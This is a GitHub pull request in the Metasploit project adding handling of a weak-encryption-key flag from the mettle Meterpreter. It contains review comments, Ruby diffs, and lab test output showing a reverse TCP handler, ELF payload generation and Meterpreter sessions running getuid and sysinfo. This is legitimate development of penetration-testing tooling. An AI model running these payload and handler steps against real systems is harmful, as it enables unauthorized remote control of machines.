Fixing meterpreter to support is_weak_key byte flag from mettle #19259

dledda-r7 · 2024-06-13T14:11:14Z

This pull request is part of this mettle pr regarding the issue #255.

During the TLV encryption negotiation, if a weak key is used because the system doesn't have any strong entropy source, the c2 will be notified and a warning will be raised.

This change doesn't affect other Meterpreter implementations.

…s used. skip module loading if encryption is weak.

lib/msf/base/sessions/meterpreter.rb

lib/rex/post/meterpreter/client_core.rb

smcintyre-r7 · 2024-06-13T20:39:50Z

lib/rex/post/meterpreter/client_core.rb

@@ -781,7 +788,8 @@ def negotiate_tlv_encryption(timeout: client.comm_timeout)

    {
      key:  sym_key,
-      type: key_type
+      type: key_type,
+      is_weak_key: is_weak_key


The preferred Ruby style for something like this I think would be to use the ? suffix instead of the is_ prefix.

Suggested change

is_weak_key: is_weak_key

weak_key?: is_weak_key

Using the !is_weak_key will invert the logic? or am I wrong

You're right, I was editing this and toying with the idea of calling it secure_key?: !is_weak_key. Good catch, I've updated my suggestion.

smcintyre-r7 · 2024-06-14T21:25:31Z

lib/rex/post/meterpreter/client_core.rb

+        if key_dec_data.length == 17 || key_dec_data.length == 33
+          sym_key = key_dec_data[0, key_dec_data.length - 1]
+          is_weak_key = key_dec_data[key_dec_data.length - 1] != "\x00"
+        else
+          sym_key = key_dec_data
+        end


I think we might want to make this a bit more explicit to avoid any unintended behavior

Something like

key_length = { AES128 => 16, AES256 => 32 }[key_type] # fail somehow if key_length.nil? (bad key_type) sym_key = key_dec_data[...key_length] key_dec_data = key_dec_data[key_length...] # fail somehow if sym_key.length != key_length if key_dec_data.length > 0 key_strength = key_dec_data[0] key_dec_data = key_dec_data[1...] is_weak_key = key_strength != "\x00" end

By the end, key_dec_data should be fully consumed and be empty, if not that means extra data has been added so let's ignore it because it's probably some future feild that was also appended. As it is, if we add another field in the future, the == 17 || == 33 logic wouldn't catch it because we'd be looking at a length of 18 or 34 meaning the session wouldn't establish.

smcintyre-r7

Everything looks good to me now. I think the warning makes sense and is appropriately stern.

In this output you can see testing the new build of mettle from both a normal environment (session 1) and a chroot environment (session 2).

metasploit-framework.pr (S:0 J:0) payload(linux/x64/meterpreter_reverse_tcp) > to_handler 
[*] Payload Handler Started as Job 2
metasploit-framework.pr (S:0 J:1) payload(linux/x64/meterpreter_reverse_tcp) > 
[*] Started reverse TCP handler on 192.168.159.128:4444 

metasploit-framework.pr (S:0 J:1) payload(linux/x64/meterpreter_reverse_tcp) > [*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.128:41524) at 2024-06-17 17:33:46 -0400

metasploit-framework.pr (S:1 J:1) payload(linux/x64/meterpreter_reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: smcintyre
meterpreter > sysinfo
Computer     : fedora.local
OS           : Fedora 40 (Linux 6.8.11-300.fc40.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background 
[*] Backgrounding session 1...
metasploit-framework.pr (S:1 J:1) payload(linux/x64/meterpreter_reverse_tcp) > 
[!] Meterpreter session 2 is using a weak encryption key.
[!] Meterpreter start up operations have been aborted. Use the session at your own risk.
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.128:46570) at 2024-06-17 17:34:10 -0400

metasploit-framework.pr (S:2 J:1) payload(linux/x64/meterpreter_reverse_tcp) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
[-] The "getuid" command requires the "stdapi" extension to be loaded (run: `load stdapi`)
meterpreter > sysinfo
[-] The "sysinfo" command requires the "stdapi" extension to be loaded (run: `load stdapi`)
meterpreter > load stdapi
Loading extension stdapi...Success.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.250.134
OS           : Fedora 40 (Linux 6.8.11-300.fc40.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

I also tested the java, python and windows Meterpreters to make sure the ones that don't send the extra byte still work as well.

adfoster-r7 · 2024-06-18T12:36:04Z

lib/msf/base/sessions/meterpreter.rb

+    if session.tlv_enc_key[:weak_key?]
+      print_warning("Meterpreter session #{session.sid} is using a weak encryption key.")
+      print_warning('Meterpreter start up operations have been aborted. Use the session at your own risk.')
+      return nil


Do we want to just keep the session open for now? 👀

Yes because:

We can't be sure that the action that was taken to open the session can be retaken, ie the exploit might have only been able to run once

We should avoid re-connecting and re-negotiating if we can

Should this be:

Suggested change

return nil

Unless I'm missing something more nuanaced

If we remove the return nil statement as you're suggesting, the bootstrap process will continue. In a default configuration, that means at least loading the stdapi extension and running sysinfo. That could also mean running auto run scripts.

With the warning in place and the return nil here, we're aborting that automation and leaving it up to the user to make a decision on what to do with the session they've opened.

adfoster-r7 · 2024-06-20T13:54:40Z

lib/rex/post/meterpreter/client_core.rb

-        sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)
+        key_dec_data = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)
+        sym_key = key_dec_data[0..key_length - 1]
+        if key_dec_data.length > key_length


key_dec_data.length might need a nil check here

adfoster-r7 · 2024-06-20T13:56:43Z

lib/rex/post/meterpreter/client_core.rb

    request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)

    begin
      response = client.send_request(request, timeout)
      key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)
      key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)
-
+      key_length = { Packet::ENC_FLAG_AES128 => 16, Packet::ENC_FLAG_AES256 => 32 }[key_type]
+      is_weak_key = false


Not a blocker; should this default to nil?

smcintyre-r7 · 2024-06-24T12:58:31Z

I tested it out one more time both from inside and outside of a chroot environment where the issue was. Everything appears to be working as expected, so I'll get this merged. Thanks!

Testing Output

msf6 payload(linux/x64/meterpreter/reverse_tcp) > generate -f elf -o /tmp/meterpreter.x64.bin
[*] Writing 250 bytes to /tmp/meterpreter.x64.bin...
msf6 payload(linux/x64/meterpreter/reverse_tcp) > jobs

Jobs
====

  Id  Name                    Payload                            Payload opts
  --  ----                    -------                            ------------
  0   Exploit: multi/handler  linux/x64/meterpreter/reverse_tcp  tcp://192.168.159.128:4444

msf6 payload(linux/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (3045380 bytes) to 192.168.159.128
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.128:36808) at 2024-06-24 08:55:54 -0400

msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: smcintyre
meterpreter > sysinfo
Computer     : fedora.local
OS           : Fedora 40 (Linux 6.9.4-200.fc40.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.159.128 - Meterpreter session 1 closed.  Reason: Died
msf6 payload(linux/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (3045380 bytes) to 192.168.159.128
[!] Meterpreter session 2 is using a weak encryption key.
[!] Meterpreter start up operations have been aborted. Use the session at your own risk.
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.128:57802) at 2024-06-24 08:56:51 -0400

msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel

For more info on a specific command, use <command> -h or help <command>.

meterpreter > getuid
[-] The "getuid" command requires the "stdapi" extension to be loaded (run: `load stdapi`)
meterpreter > sysinfo
[-] The "sysinfo" command requires the "stdapi" extension to be loaded (run: `load stdapi`)
meterpreter > load stdapi
Loading extension stdapi...Success.
meterpreter > exit
[*] Shutting down session: 2

[*] 192.168.159.128 - Meterpreter session 2 closed.  Reason: User exit
msf6 payload(linux/x64/meterpreter/reverse_tcp) >

smcintyre-r7 · 2024-06-24T13:01:36Z

Release Notes

This updates Metasploit to check for a new flag that is sent as part of the encryption key negotiation with Meterpreter which indicates if Meterpreter had to use a weak source of entropy to generate the key.

feat(meterpreter): display a warning when a weak encryption aes_key i…

acfaf52

…s used. skip module loading if encryption is weak.

dledda-r7 assigned smcintyre-r7 and dledda-r7 Jun 13, 2024

smcintyre-r7 added rn-fix release notes fix bug payload labels Jun 13, 2024

smcintyre-r7 reviewed Jun 13, 2024

View reviewed changes

fix: updated warning messages, inverted is_weak_key logic

1a8746f

smcintyre-r7 reviewed Jun 14, 2024

View reviewed changes

fix: better implementation of negotiate_tlv_encryption

80e942b

smcintyre-r7 approved these changes Jun 17, 2024

View reviewed changes

adfoster-r7 reviewed Jun 18, 2024

View reviewed changes

adfoster-r7 reviewed Jun 20, 2024

View reviewed changes

dledda-r7 added 4 commits June 21, 2024 04:00

fix: default is_weak_key is nil; handling of empty key_dec_data

8a432fb

Update metasploit_payloads-mettle gem to 1.0.28

91f4741

fix: fixed payload cached size

2de1128

fix: fixed rubocop issue

09debbb

smcintyre-r7 merged commit dc2adc0 into rapid7:master Jun 24, 2024
78 checks passed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Fixing meterpreter to support is_weak_key byte flag from mettle #19259

Fixing meterpreter to support is_weak_key byte flag from mettle #19259

dledda-r7 commented Jun 13, 2024

smcintyre-r7 Jun 13, 2024 •

edited

Loading

dledda-r7 Jun 14, 2024

smcintyre-r7 Jun 14, 2024

smcintyre-r7 Jun 14, 2024

smcintyre-r7 left a comment

adfoster-r7 Jun 18, 2024

smcintyre-r7 Jun 18, 2024

adfoster-r7 Jun 18, 2024

smcintyre-r7 Jun 18, 2024

adfoster-r7 Jun 20, 2024

adfoster-r7 Jun 20, 2024

smcintyre-r7 commented Jun 24, 2024

smcintyre-r7 commented Jun 24, 2024

Fixing meterpreter to support is_weak_key byte flag from mettle #19259

Fixing meterpreter to support is_weak_key byte flag from mettle #19259

Conversation

dledda-r7 commented Jun 13, 2024

smcintyre-r7 Jun 13, 2024 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

smcintyre-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

smcintyre-r7 commented Jun 24, 2024

smcintyre-r7 commented Jun 24, 2024

Release Notes

smcintyre-r7 Jun 13, 2024 •

edited

Loading